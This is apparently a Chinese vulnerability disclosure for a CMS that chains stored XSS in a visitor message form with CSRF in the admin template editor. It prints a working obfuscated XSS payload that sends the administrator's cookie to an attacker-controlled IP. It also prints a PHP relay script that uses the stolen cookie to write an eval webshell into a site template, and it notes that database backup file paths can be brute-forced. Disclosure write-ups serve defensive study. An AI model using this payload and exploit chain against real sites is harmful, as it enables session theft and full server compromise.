### 简要描述:
小问题组合造成。
### 详细说明:
首先我们来留言这。
```
http://10.10.10.1/message_add.html
```
[<img src="https://images.seebug.org/upload/201408/041721355d9285633c97b8e33ec47441b4eeea24.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/041721355d9285633c97b8e33ec47441b4eeea24.png)
图中 内容 那个框中具体如下
```
产品型号 : wooyun - 1
" onmouseover="c=new Image();eval(String.fromCharCode(99,46,115,114,99,61,39,104,116,116,112,58,47,47,49,48,46,49,48,46,49,48,46,49,50,56,47,49,46,112,104,112,63,100,61,36,95,80,79,83,84,91,99,93,38,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))" x="
```
```
String.fromCharCode(..........)为下面的内容
c.src='http://10.10.10.128/1.php?d=$_POST[c]&c='+document.cookie
```
然后提交。
等管理员看到之后会进行回复。
[<img src="https://images.seebug.org/upload/201408/04172258bddbb43590d4563794fbe0134fdb09ca.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/04172258bddbb43590d4563794fbe0134fdb09ca.png)
回复之后
[<img src="https://images.seebug.org/upload/201408/041723273b3558167509fee7bee60b03c48e2f50.png" alt="图片3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/041723273b3558167509fee7bee60b03c48e2f50.png)
[<img src="https://images.seebug.org/upload/201408/04172339745b7fa75a84a7f6a4ef488b8b2f8e1e.png" alt="图片4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/04172339745b7fa75a84a7f6a4ef488b8b2f8e1e.png)
Cms只对前台进行了防护。对后台的输入没有进行防护。
然后等管理员回复之后xss就形成了
鼠标移动到标签那之后 会get一个数据包
[<img src="https://images.seebug.org/upload/201408/04172437fe933dbbfa00adc5069b721c311226bb.png" alt="图片5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/04172437fe933dbbfa00adc5069b721c311226bb.png)
然后剩下的就是 10.10.10.128这台机器的1.php的代码了
```
<?php
function get_content($url, $cookie) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIE,$cookie);
curl_setopt($ch, CURLOPT_POST, 1);
$post_date=array('name'=>'map','content'=>"<?php eval($_GET[d]);?>",'type'=>'1','project'=>'tpl');
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_date);
$rs = curl_exec($ch);
curl_close($ch);
return $rs;
}
print get_content("http://10.10.10.1//admin/index.php?controller=tplmanage&operate=save",$_GET['c']);
```
其实上面利用的是模块修改csrf这个小问题 。
在 后台-》系统-》模块-》编辑这。
我编辑的map这个模块。上面仅仅写入了测试的关键代码。
一开始老是不成功。。后来终于发现了原因。。。
Post的content不能直接写$_POST[c],这样会调取利用xss get的那个数据包的 post的c参数。
所以我写成了 $_GET[d]然后在上面访问的连接加了一个d=$_POST[c]。
### 漏洞证明:
效果
[<img src="https://images.seebug.org/upload/201408/0417254363bafcd0218b9f5ce25ac187bd91dc5c.png" alt="图片6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/0417254363bafcd0218b9f5ce25ac187bd91dc5c.png)
[<img src="https://images.seebug.org/upload/201408/04172600ff4ef3e2e0b0aa7faa221ca95321e731.png" alt="图片7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/04172600ff4ef3e2e0b0aa7faa221ca95321e731.png)
[<img src="https://images.seebug.org/upload/201408/04172611e29b7017b31f6732b86841386ba014ab.png" alt="图片8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/04172611e29b7017b31f6732b86841386ba014ab.png)
还有一个问题 那就数据库备份问题
[<img src="https://images.seebug.org/upload/201408/04172738421979048aca58e308d60de9c4ad49d8.png" alt="图片9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/04172738421979048aca58e308d60de9c4ad49d8.png)
上面是备份出来的路径 ,完全可以爆破。
后面是时间戳。前面是日期。
暂无评论